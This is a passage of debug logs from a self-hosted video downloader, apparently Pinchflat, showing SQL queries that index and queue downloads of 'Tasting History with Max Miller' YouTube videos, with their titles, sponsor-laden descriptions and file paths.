\u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "ebbf944d-8743-4df8-8588-0b82f1b7e0c6", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, false, 16, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, false, 3, [], 98, ~U[2025-12-16 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", nil, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, 3, ~U[2025-12-16 00:00:00Z]] 02:51:40.715 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.716 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 00:00:00Z], 3] 02:51:40.717 [debug] QUERY OK source="media_items" db=1.0ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "1676440c-3c3d-49ef-8114-b758125cfc13", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, false, 17, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, false, 3, [], 98, ~U[2025-12-09 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", nil, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, 3, ~U[2025-12-09 00:00:00Z]] 02:51:40.718 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.719 [debug] QUERY OK source="media_items" db=0.9ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 00:00:00Z], 3] 02:51:40.720 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "4614d90a-c798-4837-95d5-052a90ef2300", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, false, 18, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, false, 3, [], 98, ~U[2025-12-05 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", nil, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, 3, ~U[2025-12-05 00:00:00Z]] 02:51:40.721 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.722 [debug] QUERY OK source="media_items" db=1.0ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 3] 02:51:40.723 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "15491f12-960d-43c5-b8cc-1160b535e0a8", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, false, 19, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, false, 3, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, 3, ~U[2025-12-02 00:00:00Z]] 02:51:40.724 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.725 [debug] QUERY OK source="media_items" db=1.0ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 00:00:00Z], 3] 02:51:40.726 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "1c01f345-c212-4731-a91e-25d32b7e7bb9", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", false, false, 20, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", false, false, 3, [], 98, ~U[2025-11-28 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", nil, false, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", false, 3, ~U[2025-11-28 00:00:00Z]] 02:51:40.726 [debug] QUERY OK source="sources" db=0.1ms idle=4.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], 3] 02:51:40.728 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:40.729 [debug] QUERY OK source="tasks" db=0.2ms idle=3.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1714, 11535, ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z]] 02:51:40.730 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1715, 12040, ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z]] 02:51:40.732 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1716, 12546, ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z]] 02:51:40.733 [debug] QUERY OK source="media_items" db=1.1ms idle=1.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:40.733 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:51:40.735 [debug] QUERY OK source="tasks" db=0.1ms idle=2.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1717, 3, ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z]] 02:51:40.735 [info] {"args":{"id":3},"id":1700,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":17048194,"event":"job:stop","queue_time":69031,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:51:40.736 [info] {"args":{"id":11535},"id":1714,"meta":{},"system_time":1774853500736263916,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:40.736 [info] {"args":{"id":12040},"id":1715,"meta":{},"system_time":1774853500736311888,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:40.736 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 02:51:40.736 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 02:51:40.736 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:40.736 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:40.737 [debug] QUERY OK source="sources" db=0.4ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.737 [debug] QUERY OK source="sources" db=0.5ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.737 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", 